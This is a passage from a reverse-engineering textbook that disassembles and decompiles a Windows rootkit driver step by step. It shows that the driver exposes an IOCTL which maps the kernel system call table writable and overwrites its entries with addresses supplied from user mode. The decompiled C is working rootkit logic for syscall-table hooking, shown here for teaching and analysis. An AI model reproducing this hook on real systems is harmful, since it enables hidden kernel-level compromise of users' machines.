    IN PUNICODE_STRING  DeviceName  OPTIONAL,
    IN DEVICE_TYPE  DeviceType,
    IN ULONG  DeviceCharacteristics,
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    IN BOOLEAN  Exclusive,
    OUT PDEVICE_OBJECT  *DeviceObject
    );

DriverObject is the caller’s DRIVER_OBJECT; it is the driver object that the new 

device object is associated with. DeviceExtensionSize is how many bytes of non-

paged pool memory should be allocated for the driver-specifi c structure. Because 

it is a user-defi ned structure, it is very important to recover its fi elds. DeviceName 

is the native device name. DeviceType is one of the pre-defi ned FILE_DEVICE_* 

types; if the device does not fall into a generic category, FILE_DEVICE_UNKNOWN 

is used instead. DeviceCharacteristics refers to the device characteristic; 

most of the time you will see FILE_DEVICE_SECURE_OPEN. Exclusive determines 

whether there can be more than one handle to the device. DeviceObject receives 

the actual device object.

From the disassembly, you can decompile the fi rst basic block and its exiting 

condition as follows:

01: UNICODE_STRING devname;
02: UNICODE_STRING symname;
03: 
04: NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, \
                         PUNICODE_STRING regpath)
05: {
06:   NTSTATUS status;
07:   PDEVICE_OBJECT devobj;
08: 
09:   RtlInitUnicodeString(&devname, L"\\Device\\fsodhfn2m");
10:   RtlInitUnicodeString(&symname, L"\\DosDevices\\fsodhfn2m");
11:   status = IoCreateDevice(
12:                DriverObject,
13:                0,
14:                &devname,
15:                FILE_DEVICE_UNKNOWN,
16:                FILE_DEVICE_SECURE_OPEN,
17:                FALSE,
18:                &devobj);
19:   if (!NT_SUCCESS(status)) {
20:     return status; // loc_106A3
21:   }
22: }

NT_SUCCESS() is a common macro that checks if status is greater than or 

equal to 0. After successfully creating the object, it proceeds to the following:

01: .text:00010643   mov     ecx, [ebp+DriverObject]

02: .text:00010646   mov     dword ptr [ecx+38h], offset sub_10300

03: .text:0001064D   mov     edx, [ebp+DriverObject]

04: .text:00010650   mov     dword ptr [edx+40h], offset sub_10300

05: .text:00010657   mov     eax, [ebp+DriverObject]

06: .text:0001065A   mov     dword ptr [eax+70h], offset sub_10300
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07: .text:00010661   mov     ecx, [ebp+DriverObject]

08: .text:00010664   mov     dword ptr [ecx+34h], offset sub_10580

09: .text:0001066B   push    offset SymbolicLinkName  ; SymbolicLinkName

10: .text:00010670   call    ds:IoDeleteSymbolicLink

11: .text:00010676   push    offset DestinationString ; DeviceName

12: .text:0001067B   push    offset SymbolicLinkName  ; SymbolicLinkName

13: .text:00010680   call    ds:IoCreateSymbolicLink

14: .text:00010686   mov     [ebp+var_4], eax

15: .text:00010689   cmp     [ebp+var_4], 0

16: .text:0001068D   jge     short loc_106A1

Lines 1–8 set some DRIVER_OBJECT fi elds to two function pointers. What is at 

offset 0x38, 0x40, 0x70, and 0x34?

0: kd> dt _DRIVER_OBJECT
nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
...
   +0x034 DriverUnload     : Ptr32     void
   +0x038 MajorFunction    : [28] Ptr32     long

Offset 0x34 is the DriverUnload routine; now, you know that the driver sup-

ports dynamic unloading and sub_10580 is the unload routine. Offset 0x38 is 

the beginning of the MajorFunction array; recall that this is an array of IRP 

dispatch handlers. Because there is a maximum of 28 generic IRP major func-

tions, the MajorFunction array has 28 members. The fi rst index is 0, which 

corresponds to IRP_MJ_CREATE; hence, you know that sub_10300 is the handler 

for that IRP. Offset 0x40 is the third element in the MajorFunction array (index 

2); this corresponds to IRP_MJ_CLOSE, and sub_10300 is reused as the handler. 

Offset 0x70 is the 16th element in the array (index 0xe), which corresponds to 

IRP_MJ_DEVICE_CONTROL, and sub_10300 is the handler. At this point, you know 

that sub_10300 is the handler for the read, close, and device control IRP.

Lines 10–13 delete any existing symbolic link and create a new one to point 

to the device object previously created.

You can now continue decompiling this block in DriverEntry as follows:

01: DriverObject->MajorFunction[IRP_MJ_READ] = sub_10300;
02: DriverObject->MajorFunction[IRP_MJ_CLOSE] = sub_10300;
03: DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = sub_10300;
04: DriverObject->DriverUnload = sub_10580;
05: 
06: IoDeleteSymbolicLink(&symname);
07: status = IoCreateSymbolicLink(&symname, &devname);
08: if (!NT_SUCCESS(status)) {
09:   ... // block .text:0001068F
10:   return status; 
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11: }
12: return status;

To make life easier, you can rename sub_10300 as IRP_ReadCloseDeviceIo 

and sub_10580 as DRV_Unload.

The next block at 0x1068F deletes the previously created device object if the 

symbolic link creation fails. Note that it is getting the device object from the 

driver object instead of using the pointer passed to IoCreateDevice. You can 

decompile this block as follows:

01: IoDeleteDevice(DriverObject->DeviceObject);

That completes decompilation of this rootkit’s DriverEntry. To summarize 

what has been learned so far:

 ■ The driver creates a device object named \Device\fsodhfn2m.

 ■ It supports dynamic unloading and the unload routine is sub_10580 

(renamed to DRV_Unload).

 ■ It supports IRP_MJ_READ, IRP_MJ_WRITE, and IRP_MJ_DEVICE_CONTROL opera-

tions, and sub_10300 is the handler (renamed to IRP_ReadCloseDeviceIo).

 ■ It creates a symbolic link to the device object. If that fails, the driver returns 

an error.

The next step is to understand what the DriverUnload routine does. The WDK 

defi nes the prototype for the driver unload routine as follows:

VOID
Unload(
    PDRIVER_OBJECT  DriverObject
    );

After some minor massaging, our unload routine looks like this:

01: .text:00010580 ; void __stdcall DRV_Unload(PDRIVER_OBJECT drvobj)

02: .text:00010580 DRV_Unload proc near

03: .text:00010580

04: .text:00010580 drvobj= dword ptr  8

05: .text:00010580

06: .text:00010580   push    ebp

07: .text:00010581   mov     ebp, esp

08: .text:00010583   push    offset SymbolicLinkName  ; SymbolicLinkName

09: .text:00010588   call    ds:IoDeleteSymbolicLink

10: .text:0001058E   mov     eax, [ebp+drvobj]

11: .text:00010591   mov     ecx, [eax+DRIVER_OBJECT.DeviceObject]

12: .text:00010594   push    ecx                      ; DeviceObject

13: .text:00010595   call    ds:IoDeleteDevice

14: .text:0001059B   pop     ebp

15: .text:0001059C   retn    4

16: .text:0001059C DRV_Unload endp
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The preceding can be decompiled to the following:

01: VOID DRV_Unload(PDRIVER_OBJECT drvobj)
02: {
03:   IoDeleteSymbolicLink(&symname);
04:   IoDeleteDevice(drvobj->DeviceObject);
05: }

As previously stated, an important key to understanding a driver’s functional-

ity is through its IRP dispatch handlers. Analyzing _IRP_ReadCloseDeviceIo, 

we start at the beginning:

01: .text:00010300 ; NTSTATUS __stdcall IRP_ReadCloseDeviceIO(
                       PDEVICE_OBJECT devobj, PIRP Irp)
02: .text:00010300 IRP_ReadCloseDeviceIO proc near
03: .text:00010300 var_14= dword ptr -14h
04: .text:00010300 var_10= dword ptr -10h
05: .text:00010300 var_C= dword ptr -0Ch
06: .text:00010300 var_8= dword ptr -8
07: .text:00010300 var_4= dword ptr -4
08: .text:00010300 devobj= dword ptr  8
09: .text:00010300 Irp= dword ptr  0Ch
10: .text:00010300
11: .text:00010300   push    ebp
12: .text:00010301   mov     ebp, esp
13: .text:00010303   sub     esp, 14h
14: .text:00010306   mov     [ebp+var_4], 0
15: .text:0001030D   mov     eax, [ebp+Irp]
16: .text:00010310   mov     ecx, [ebp+var_4]
17: .text:00010313   mov     [eax+18h], ecx
18: .text:00010316   mov     edx, [ebp+Irp]
19: .text:00010319   mov     dword ptr [edx+1Ch], 0
20: .text:00010320   mov     eax, [ebp+Irp]
21: .text:00010323   mov     ecx, [eax+60h]
22: .text:00010326   mov     [ebp+var_10], ecx
23: .text:00010329   mov     edx, [ebp+var_10]
24: .text:0001032C   movzx   eax, byte ptr [edx]
25: .text:0001032F   cmp     eax, 0Eh
26: .text:00010332   jnz     short loc_1037D

We already know its prototype because it is the same for all IRP handlers. 

When analyzing IRP handlers, you need to be cognizant of a few facts:

 ■ An IRP is a dynamic structure with an array of IO_STACK_LOCATION after 

its header.

 ■ Most of the IRP parameters are in the IO_STACK_LOCATION (including its 

IRP major/minor number).

 ■ A driver accesses its IO_STACK_LOCATION using the IoGetCurrent

IrpStacLocation routine. Because this routine is forced-inline, you must 
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recognize it through its inlined patterns. It is a common coding pattern 

to retrieve the IO_STACK_LOCATION in the beginning of an IRP handler.

Lines 15–17 read the IRP structure and write a 0 to a fi eld at offset 0x18. 

Looking at the IRP structure you see the following:

0: kd> dt nt!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
...
   +0x00c AssociatedIrp    : <unnamed-tag>
...
   +0x018 IoStatus         : _IO_STATUS_BLOCK
      +0x000 Status           : Int4B
      +0x000 Pointer          : Ptr32 Void
      +0x004 Information      : Uint4B
... 
   +0x020 RequestorMode    : Char
...
   +0x040 Tail             : <unnamed-tag>

An IO_STATUS_BLOCK structure stores status information about an IRP:

typedef struct _IO_STATUS_BLOCK {
  union {
    NTSTATUS  Status;
    PVOID  Pointer;
  };
  ULONG_PTR  Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

An IRP handler typically sets the Status fi eld to indicate whether the IRP was 

successful or requires further processing. Information stores request-specifi c 

information for the IRP; a driver may use it to store a pointer to a buffer or set 

the completion status. Pointer is reserved.

Hence, you know that line 17 sets the IRP->IoStatus.Status fi eld to 0 and 

that the local variable var_4 is of type NTSTATUS. Lines 18–19 access the IRP 

structure and write a 0 at offset 0x1c, which is the Information fi eld in IoStatus. 

This is simply setting IRP->IoStatus.Information to 0. Lines 20–22 access 

offset 0x60 in the IRP structure and save its address in a local variable. The IRP 

structure is fi lled with unions in the Tail fi eld (starting at offset 0x40), so it can 

be somewhat confusing to determine which union fi eld member is accessed. 

Let’s dump some of the unions:

0: kd> dt nt_IRP Tail.Overlay.
   +0x040 Tail          :
      +0x000 Overlay       :
         +0x000 DeviceQueueEntry : _KDEVICE_QUEUE_ENTRY
         +0x000 DriverContext : [4] Ptr32 Void
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         +0x010 Thread        : Ptr32 _ETHREAD
         +0x014 AuxiliaryBuffer : Ptr32 Char
         +0x018 ListEntry     : _LIST_ENTRY
         +0x020 CurrentStackLocation : Ptr32 _IO_STACK_LOCATION
         +0x020 PacketType    : Uint4B
         +0x024 OriginalFileObject : Ptr32 _FILE_OBJECT

This indicates that offset 0x60 could be either a pointer to an IO_STACK_

LOCATION or an unsigned integer indicating the packet type. We can make an 

educated guess that it is the CurrentStackLocation fi eld because of the code 

context (occurring at the beginning of an IRP handler). Furthermore, we know 

that the inlined routine IoGetCurrentIrpStackLocation is defi ned as follows:

FORCEINLINE
PIO_STACK_LOCATION
IoGetCurrentIrpStackLocation(PIRP Irp)
{
  return Irp->Tail.Overlay.CurrentStackLocation;
}

Therefore, lines 20–22 are saving the current IO_STACK_LOCATION to a local 

variable. The local variable _var_10 is of the type PIO_STACK_LOCATION.

N O T E  Many of these functions are declared as FORCEINLINE and thus 

will never appear as call destinations—i.e., you will never see see the symbol 

IoGetCurrentIrpStackLocation in the assembly code. We recommend that you 

write a simple driver using these forced-inline routines so that you can get used to the 

code pattern.

Lines 23–25 access the fi rst byte at offset 0 in the IO_STACK_LOCATION using 

the MOVZX instruction. This indicates that fi eld is of type unsigned char. From 

the IRP section, we know that this is the MajorFunction fi eld. Line 5 checks 

whether the MajorFunction number is 0xe, i.e., IRP_MJ_DEVICE_CONTROL.

You can now decompile the fi rst block of IRP_ReadCloseIo as follows:

NTSTATUS IRP_ReadCloseIo(PDEVICE_OBJECT devobj, PIRP Irp)
{
  NTSTATUS status = STATUS_SUCCESS;
  PIO_STACK_LOCATION isl;
  Irp->IoStatus.Status = status;
  Irp->IoStatus.Information = 0;

  isl = IoGetCurrentIrpStackLocation(Irp);
  if (isl->MajorFunction != IRP_MJ_DEVICE_CONTROL) {
    ... // loc_1037D
  }
  ... // .text:00010334
}
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Next, we analyze block 0x10334, which executes if major code is IRP_MJ

_DEVICE_CONTROL:

01: .text:00010334   mov     ecx, [ebp+var_10]
02: .text:00010337   mov     edx, [ecx+0Ch]
03: .text:0001033A   mov     [ebp+var_C], edx
04: .text:0001033D   mov     eax, [ebp+Irp]
05: .text:00010340   mov     ecx, [eax+0Ch]
06: .text:00010343   mov     [ebp+var_8], ecx
07: .text:00010346   mov     edx, [ebp+Irp]
08: .text:00010349   mov     dword ptr [edx+1Ch], 644h
09: .text:00010350   mov     eax, [ebp+var_C]
10: .text:00010353   mov     [ebp+var_14], eax
11: .text:00010356   cmp     [ebp+var_14], 22C004h
12: .text:0001035D   jz      short loc_10361

In the previous paragraph, we deduced that var_10 is of type PIO_STACK_

LOCATION. Lines 1–2 access offset 0xC of the IO_STACK_LOCATION. Again, recall 

that an IO_STACK_LOCATION contains the I/O request parameters, which are all 

stored in unions. How do you determine which union to use? We know that 

it will use the DeviceIoControl fi eld because we are processing an IRP_MJ_

DEVICE_CONTROL request. Also, the IoControlField is at offset 0xC from the 

base of IO_STACK_LOCATION:

1: kd> dt nt!_IO_STACK_LOCATION Parameters.
   +0x004 Parameters  :
      +0x000 Create      : <unnamed-tag>
      +0x000 CreatePipe  : <unnamed-tag>
      +0x000 CreateMailslot : <unnamed-tag>
      +0x000 Read        : <unnamed-tag>
      +0x000 Write       : <unnamed-tag>
      +0x000 QueryDirectory : <unnamed-tag>
...
      +0x000 DeviceIoControl : <unnamed-tag>
...
1: kd> dt nt!_IO_STACK_LOCATION Parameters.DeviceIoControl.
   +0x004 Parameters                  :
      +0x000 DeviceIoControl             :
         +0x000 OutputBufferLength          : Uint4B
         +0x004 InputBufferLength           : Uint4B
         +0x008 IoControlCode               : Uint4B
         +0x00c Type3InputBuffer            : Ptr32 Void

Therefore, lines 1–3 retrieve the IoControlCode fi eld and save it in var_C, 

which we now know is of type ULONG.

Lines 4–6 access offset 0xC in an IRP and save the pointer to a local variable 

var_8. From the previous section, we know that at offset 0xC is the AssociatedIrp 

union:

1: kd> dt nt!_IRP AssociatedIrp.
   +0x00c AssociatedIrp  :
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      +0x000 MasterIrp      : Ptr32 _IRP
      +0x000 IrpCount       : Int4B
      +0x000 SystemBuffer   : Ptr32 Void

Which of the three fi elds should you use? Given the current information, you 

cannot tell. The context required to determine the proper fi eld is in lines 9–12, 

which retrieve the saved IOCTL code (var_C) and compare it against 0x22c004. 

You know that an IOCTL code encodes device type, function code, access, and 

buffering method. Hence, after decoding 0x22c004, you know the following:

 ■ Device type is FILE_DEVICE_UNKNOWN (0x22).

 ■ The IOCTL code is 0x1.

 ■ Access is (FILE_READ_DATA | FILE_WRITE_DATA).

 ■ Buffering method is METHOD_BUFFERED.

 Recall that we are in an IOCTL handler and that drivers must specify a buffer-

ing method when defi ning the IOCTL code. For buffered I/O, the SystemBuffer 

fi eld points to a non-paged pool buffer storing the user input. We can now say 

that lines 4–6 access the SystemBuffer fi eld.

Lines 7–8 write 0x644 to offset 0x1c inside an IRP, which is the IRP->IoStatus.

Information fi eld. It is unclear why the author chose this value. 

Given this information, you know that the control code must have been 

constructed this way:

#define IOCTL_1 CTL_CODE(FILE_DEVICE_UNKNOWN, 1, METHOD_BUFFERED, \
                               FILE_READ_DATA | FILE_WRITE_DATA)

Because we have not fully analyzed or understood the IOCTL operation, we 

gave it the generic IOCTL_1 name. This block can now be decompiled as follows:

PVOID userinput = Irp->AssociatedIrp.SystemBuffer;
Irp->IoStatus.Information = (ULONG_PTR) 0x644;
if (isl->Parameters.DeviceIoControl.IoControlCode == IOCTL_1)
{
  ... // loc_10361
}
... // 0001035F

To understand what the IOCTL does, we need to analyze loc_10361 and the 

function sub_103B0. However, before doing that, let’s fi nish the nearby blocks 

fi rst (as they are simpler):

// remember var_4 is status local variable (type NTSTATUS)
01: .text:0001035F   jmp     short loc_1036C
02: .text:00010361 loc_10361:             
03: .text:00010361   mov     ecx, [ebp+var_8]  ; 
04: .text:00010364   push    ecx          



 Chapter 3 ■ The Windows Kernel 165

c03.indd 09:39:18:AM  07/13/2016 Page 165

05: .text:00010365   call    IOCTL_1_handler
06: .text:0001036A   jmp     short loc_1037D
07: .text:0001036C loc_1036C:             
08: .text:0001036C   mov     [ebp+var_4], 0C0000010h 
09: .text:00010373   mov     edx, [ebp+Irp]
10: .text:00010376   mov     dword ptr [edx+1Ch], 0
11: .text:0001037D loc_1037D:              
12: .text:0001037D   cmp     [ebp+var_4], 103h
13: .text:00010384   jz      short loc_1039A
14: .text:00010386   xor     dl, dl                   ; PriorityBoost
15: .text:00010388   mov     ecx, [ebp+Irp]           ; Irp
16: .text:0001038B   call    ds:IofCompleteRequest
17: .text:00010391   mov     eax, [ebp+Irp]
18: .text:00010394   mov     ecx, [ebp+var_4]
19: .text:00010397   mov     [eax+18h], ecx
20: .text:0001039A loc_1039A:                
21: .text:0001039A   mov     eax, [ebp+var_4]
22: .text:0001039D   mov     esp, ebp
23: .text:0001039F   pop     ebp
24: .text:000103A0   retn    8
25: .text:000103A0 IRP_ReadCloseDeviceIO endp

You enter 0x1035F if the IOCTL code does not match up. It immediately 

jumps to line 7, which sets the local status variable to 0xC0000010, which is 

STATUS_INVALID_OPERATION; and Irp->IoStatus.Information to 0. Next, in 

line 11, it checks whether the local status is 0x103 (STATUS_PENDING); this block 

is actually redundant because the status variable in this function can only have 

two values (STATUS_SUCCESS or STATUS_INVALID_OPERATION). When an IRP is 

marked with STATUS_PENDING, it means that the operation is incomplete and 

is awaiting completion from another driver. This occurs often in drivers so it is 

wise to remember the magic constant 0x103. If the status is STATUS_PENDING, 

the handler immediately returns with that status (line 13 and 20). Otherwise, 

it calls IoCompleteRequest to mark the IRP completed and saves the status in 

IRP->IoStatus.Status (line 19) and returns it. This is actually a bug because a 

driver should set the IoStatusBlock fi eld before completing the request; once an 

IRP is completed, it should not be touched again. These blocks can be decom-

piled as follows:

status = STATUS_INVALID_OPERATION;
Irp->IoStatus.Information = 0;
if (status == STATUS_PENDING) {
  return status;
}
IoCompleteRequest(Irp, IO_NO_INCREMENT);
Irp->IoStatus.Status = status;
return status;
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Returning to the IOCTL_1_handler routine, note that it calls only two other 

functions: sub_10460 and sub_10550. sub_10550 is a small leaf routine so we 

will analyze that fi rst:

01: .text:00010550 ; void __stdcall sub_10550(PMDL Mdl, PVOID BaseAddress)

02: .text:00010550 sub_10550 proc near 

03: .text:00010550   push    ebp

04: .text:00010551   mov     ebp, esp

05: .text:00010553   mov     eax, [ebp+Mdl]

06: .text:00010556   push    eax                    ; MemoryDescriptorList

07: .text:00010557   mov     ecx, [ebp+BaseAddress]

08: .text:0001055A   push    ecx                    ; BaseAddress

09: .text:0001055B   call    ds:MmUnmapLockedPages

10: .text:00010561   mov     edx, [ebp+Mdl]

11: .text:00010564   push    edx                    ; MemoryDescriptorList

12: .text:00010565   call    ds:MmUnlockPages

13: .text:0001056B   mov     eax, [ebp+Mdl]

14: .text:0001056E   push    eax                    ; Mdl

15: .text:0001056F   call    ds:IoFreeMdl

16: .text:00010575   pop     ebp

17: .text:00010576   retn    8

18: .text:00010576 sub_10550 endp

This function unmaps, unlocks, and frees an MDL. It is unclear what the 

MDLs describe because we have not analyzed the other routines. This function 

can be decompiled as follows: 

void UnmapMdl(PMDL mdl, PVOID baseaddr)
{
  MmUnmapLockedPages(baseaddr, mdl);
  MmUnlockPages(mdl);
  IoFreeMdl(mdl);
}

sub_10460 is another leaf routine involving MDLs; its main functionality is 

to create, lock, and map an MDL for a given buffer and length. Its prototype 

is as follows:

PVOID MapMdl(PMDL *mdl, PVOID VirtualAddress, ULONG Length);

By default, the disassembler was not able to infer the fi rst parameter’s type. 

You can tell that it is a PMDL * because of instruction at 0x1049D. The assembly 

listing is shown here but without line-by-line commentary, as it is very simple:

01: .text:00010460 ; PVOID __stdcall MapMdl(PMDL *mdl, 
                           PVOID VirtualAddress, ULONG Length)
02: .text:00010460 MapMdl proc near                  
03: .text:00010460   push    ebp
04: .text:00010461   mov     ebp, esp
05: .text:00010463   push    0FFFFFFFFh
06: .text:00010465   push    offset unk_10748
07: .text:0001046A   push    offset _except_handler3
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08: .text:0001046F   mov     eax, large fs:0
09: .text:00010475   push    eax
10: .text:00010476   mov     large fs:0, esp
11: .text:0001047D   add     esp, 0FFFFFFF0h
12: .text:00010480   push    ebx
13: .text:00010481   push    esi
14: .text:00010482   push    edi
15: .text:00010483   mov     [ebp+var_18], esp
16: .text:00010486   push    0                   ; Irp
17: .text:00010488   push    0                   ; ChargeQuota
18: .text:0001048A   push    0                   ; SecondaryBuffer
19: .text:0001048C   mov     eax, [ebp+Length]
20: .text:0001048F   push    eax                 ; Length
21: .text:00010490   mov     ecx, [ebp+VirtualAddress]
22: .text:00010493   push    ecx                 ; VirtualAddress
23: .text:00010494   call    ds:IoAllocateMdl
24: .text:0001049A   mov     edx, [ebp+mdl]
25: .text:0001049D   mov     [edx], eax
26: .text:0001049F   mov     eax, [ebp+mdl]
27: .text:000104A2   cmp     dword ptr [eax], 0
28: .text:000104A5   jnz     short loc_104AE
29: .text:000104A7   xor     eax, eax
30: .text:000104A9   jmp     loc_10534
31: .text:000104AE loc_104AE:                     
32: .text:000104AE   mov     [ebp+var_4], 0
33: .text:000104B5   push    1                   ; Operation
34: .text:000104B7   push    0                   ; AccessMode
35: .text:000104B9   mov     ecx, [ebp+mdl]
36: .text:000104BC   mov     edx, [ecx]
37: .text:000104BE   push    edx                 ; MemoryDescriptorList
38: .text:000104BF   call    ds:MmProbeAndLockPages
39: .text:000104C5   mov     [ebp+var_4], 0FFFFFFFFh
40: .text:000104CC   jmp     short loc_104F6
41: .text:000104CE loc_104CE:                      
42: .text:000104CE   mov     eax, 1
43: .text:000104D3   retn
44: .text:000104D4 loc_104D4:                       
45: .text:000104D4   mov     esp, [ebp+var_18]
46: .text:000104D7   mov     eax, [ebp+mdl]
47: .text:000104DA   mov     ecx, [eax]
48: .text:000104DC   push    ecx                 ; Mdl
49: .text:000104DD   call    ds:IoFreeMdl
50: .text:000104E3   mov     [ebp+var_20], 0
51: .text:000104EA   mov     [ebp+var_4], 0FFFFFFFFh
52: .text:000104F1   mov     eax, [ebp+var_20]
53: .text:000104F4   jmp     short loc_10534
54: .text:000104F6 loc_104F6:                        
55: .text:000104F6   push    10h                 ; Priority
56: .text:000104F8   push    0                   ; BugCheckOnFailure
57: .text:000104FA   push    0                   ; BaseAddress
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58: .text:000104FC   push    0                   ; CacheType
59: .text:000104FE   push    0                   ; AccessMode
60: .text:00010500   mov     edx, [ebp+mdl]
61: .text:00010503   mov     eax, [edx]
62: .text:00010505   push    eax                 ; MemoryDescriptorList
63: .text:00010506   call    ds:MmMapLockedPagesSpecifyCache
64: .text:0001050C   mov     [ebp+var_1C], eax
65: .text:0001050F   cmp     [ebp+var_1C], 0
66: .text:00010513   jnz     short loc_10531
67: .text:00010515   mov     ecx, [ebp+mdl]
68: .text:00010518   mov     edx, [ecx]
69: .text:0001051A   push    edx                 ; MemoryDescriptorList
70: .text:0001051B   call    ds:MmUnlockPages
71: .text:00010521   mov     eax, [ebp+mdl]
72: .text:00010524   mov     ecx, [eax]
73: .text:00010526   push    ecx                 ; Mdl
74: .text:00010527   call    ds:IoFreeMdl
75: .text:0001052D   xor     eax, eax
76: .text:0001052F   jmp     short loc_10534
77: .text:00010531 loc_10531:                          
78: .text:00010531   mov     eax, [ebp+var_1C]
79: .text:00010534 loc_10534:                         
80: .text:00010534   mov     ecx, [ebp+var_10]
81: .text:00010537   mov     large fs:0, ecx
82: .text:0001053E   pop     edi
83: .text:0001053F   pop     esi
84: .text:00010540   pop     ebx
85: .text:00010541   mov     esp, ebp
86: .text:00010543   pop     ebp
87: .text:00010544   retn    0Ch
88: .text:00010544 MapMdl endp

Although this function seems long and complicated, it is not diffi cult to 

understand if you see how the APIs are used together. IoAllocateMdl, 

MmProbeAndLockPages, and MmMapLockedPagesSpecifyCache are routines used 

to create, lock, and map MDLs; MmProbeAndLockPages must be done inside a 

try/except block so there is extra code generated in the beginning to set up the 

exception handler (i.e., the lines involving fs:0). This routine effectively maps a 

buffer into kernel space as writable and returns the address of a new mapping 

for this buffer. The whole routine can be roughly decompiled as follows:

PVOID MapMdl(PMDL *mdl, PVOID VirtualAddress, ULONG Length)
{
  PVOID addr; // virtual address of the mapped MDL

  *mdl = IoAllocateMdl(VirtualAddress, Length, FALSE, FALSE, NULL);
  if (*mdl == NULL) return NULL;
  __try {
    MmProbeAndLockPages(*mdl, KernelMode, IoWriteAccess);
    addr = MmMapLockedPagesSpecifyCache(



 Chapter 3 ■ The Windows Kernel 169

c03.indd 09:39:18:AM  07/13/2016 Page 169

                     *mdl,
                     KernelMode,
                     MmNonCached,
                     NULL,
                     FALSE,
                     NormalPagePriority);
    if (addr == NULL) {
      MmUnlockPages(*mdl);
      IoFreeMdl(*mdl);
    }
  } __except (EXCEPTION_EXECUTE_HANDLER) {
    IoFreeMdl(*mdl);
  }
  return addr;
}

With an understanding of these two routines, we can now approach the 

handler. Note that it takes one parameter, Irp->AssociatedIrp.SystemBuffer. 

Recall that the content of this buffer may be copied back to user mode once the 

IRP is completed:

01: .text:000103B0 ; void __stdcall IOCTL_1_handler(PVOID buffer)
02: .text:000103B0 IOCTL_1_handler proc near
03: .text:000103B0   push    ebp
04: .text:000103B1   mov     ebp, esp
05: .text:000103B3   sub     esp, 10h
06: .text:000103B6   push    esi
07: .text:000103B7   call    ds:KeRaiseIrqlToDpcLevel
08: .text:000103BD   mov     [ebp+NewIrql], al
09: .text:000103C0   mov     eax, ds:KeServiceDescriptorTable
10: .text:000103C5   mov     ecx, [eax+8]
11: .text:000103C8   shl     ecx, 2
12: .text:000103CB   push    ecx                 ; Length
13: .text:000103CC   mov     edx, ds:KeServiceDescriptorTable
14: .text:000103D2   mov     eax, [edx]
15: .text:000103D4   push    eax                 ; VirtualAddress
16: .text:000103D5   lea     ecx, [ebp+Mdl]
17: .text:000103D8   push    ecx                 ; mdl
18: .text:000103D9   call    MapMdl
19: .text:000103DE   mov     [ebp+BaseAddress], eax
20: .text:000103E1   cmp     [ebp+BaseAddress], 0
21: .text:000103E5   jz      short loc_10449
22: .text:000103E7   mov     [ebp+var_8], 0
23: .text:000103EE   jmp     short loc_103F9
24: .text:000103F0 loc_103F0:
25: .text:000103F0   mov     edx, [ebp+var_8]
26: .text:000103F3   add     edx, 1
27: .text:000103F6   mov     [ebp+var_8], edx
28: .text:000103F9 loc_103F9:
29: .text:000103F9   mov     eax, [ebp+buffer]
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30: .text:000103FC   mov     ecx, [ebp+var_8]
31: .text:000103FF   cmp     ecx, [eax]
32: .text:00010401   jnb     short loc_1043C
33: .text:00010403   mov     edx, [ebp+var_8]
34: .text:00010406   mov     eax, [ebp+buffer]
35: .text:00010409   cmp     dword ptr [eax+edx*4+4], 0
36: .text:0001040E   jz      short loc_1043A
37: .text:00010410   mov     ecx, [ebp+var_8]
38: .text:00010413   mov     edx, [ebp+BaseAddress]
39: .text:00010416   mov     eax, [ebp+var_8]
40: .text:00010419   mov     esi, [ebp+buffer]
41: .text:0001041C   mov     ecx, [edx+ecx*4]
42: .text:0001041F   cmp     ecx, [esi+eax*4+4]
43: .text:00010423   jz      short loc_1043A
44: .text:00010425   mov     edx, [ebp+var_8]
45: .text:00010428   mov     eax, [ebp+buffer]
46: .text:0001042B   mov     ecx, [eax+edx*4+4]
47: .text:0001042F   mov     edx, [ebp+var_8]
48: .text:00010432   mov     eax, [ebp+BaseAddress]
49: .text:00010435   lea     edx, [eax+edx*4]
50: .text:00010438   xchg    ecx, [edx]
51: .text:0001043A loc_1043A:
52: .text:0001043A   jmp     short loc_103F0
53: .text:0001043C loc_1043C:
54: .text:0001043C   mov     eax, [ebp+BaseAddress]
55: .text:0001043F   push    eax                 ; BaseAddress
56: .text:00010440   mov     ecx, [ebp+Mdl]
57: .text:00010443   push    ecx                 ; Mdl
58: .text:00010444   call    UnmapMdl
59: .text:00010449 loc_10449:
60: .text:00010449   mov     cl, [ebp+NewIrql]   ; NewIrql
61: .text:0001044C   call    ds:KfLowerIrql
62: .text:00010452   pop     esi
63: .text:00010453   mov     esp, ebp
64: .text:00010455   pop     ebp
65: .text:00010456   retn    4
66: .text:00010456 IOCTL_1_handler endp

This function fi rst raises the IRQL to DISPATCH_LEVEL (line 7), which effec-

tively suspends the thread dispatcher on the current processor. Whatever this 

function does, it cannot wait or take a pagefault; otherwise, the machine will 

bugcheck. The same effect can be achieved with KeRaiseIrql. Line 8 saves the 

previous IRQL so that it can be restored later (see line 61). Lines 9–11 retrieve 

the undocumented KeServiceDescriptorTable entry fi eld and multiply it by 

4. Lines 12–18 pass KiServiceTable, a length (four times the size of the syscall 

table), and an MDL pointer to MapMdl. Because we already analyzed MapMdl, we 

know that this simply maps a buffer starting from KiServiceTable to KiService

Table+(NumberOfSyscalls*4). Line 12 saves the virtual address of the newly 

mapped buffer. Lines 20–22 check the mapping status; if it was not successful, 
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the IRQL is lowered and the code returns (lines 60–65), otherwise, a loop is 

entered whose counter is determined by the user input (lines 29–31). The loop 

body is from lines 33–50 and can be understood as follows:

DWORD *userbuffer = Irp->AssociatedIrp.SystemBuffer;
DWORD *mappedKiServiceTable = MapMdl(mdl, KiServiceTable, nsyscalls*4);
for (i=0; i < userbuffer[0] ; i++)
{
  if ( userbuffer[i+1] != 0) {
    if ( userbuffer[i+1] != mappedKiServiceTable[i]) {
      swap(mappedKiServiceTable[i], userbuffer[i+1]);
    }
  }
}
...
UnmapMdl(mdl);
KeLowerIrql(oldirql);

After many pages of explanations and decompiling the entire driver, you can 

now understand the sample’s goal. For whatever reason, the developer of this 

driver wanted to use an IOCTL to overwrite the NT native system calls table 

with custom addresses. The user-mode buffer is a structure in this format:

[# of system calls]
[syscall 1 replacement address]
[syscall 2 replacement address]
...
[syscall n replacement address]

While the developer may have achieved his or her goals, the driver has several 

critical issues that can lead to system instability and security vulnerabilities. 

Some were mentioned during the walk-through, but you should be able to 

identify many others. Here are some questions to start your quest:

 ■ Will this driver work on a multi-core system? Explain your reasoning.

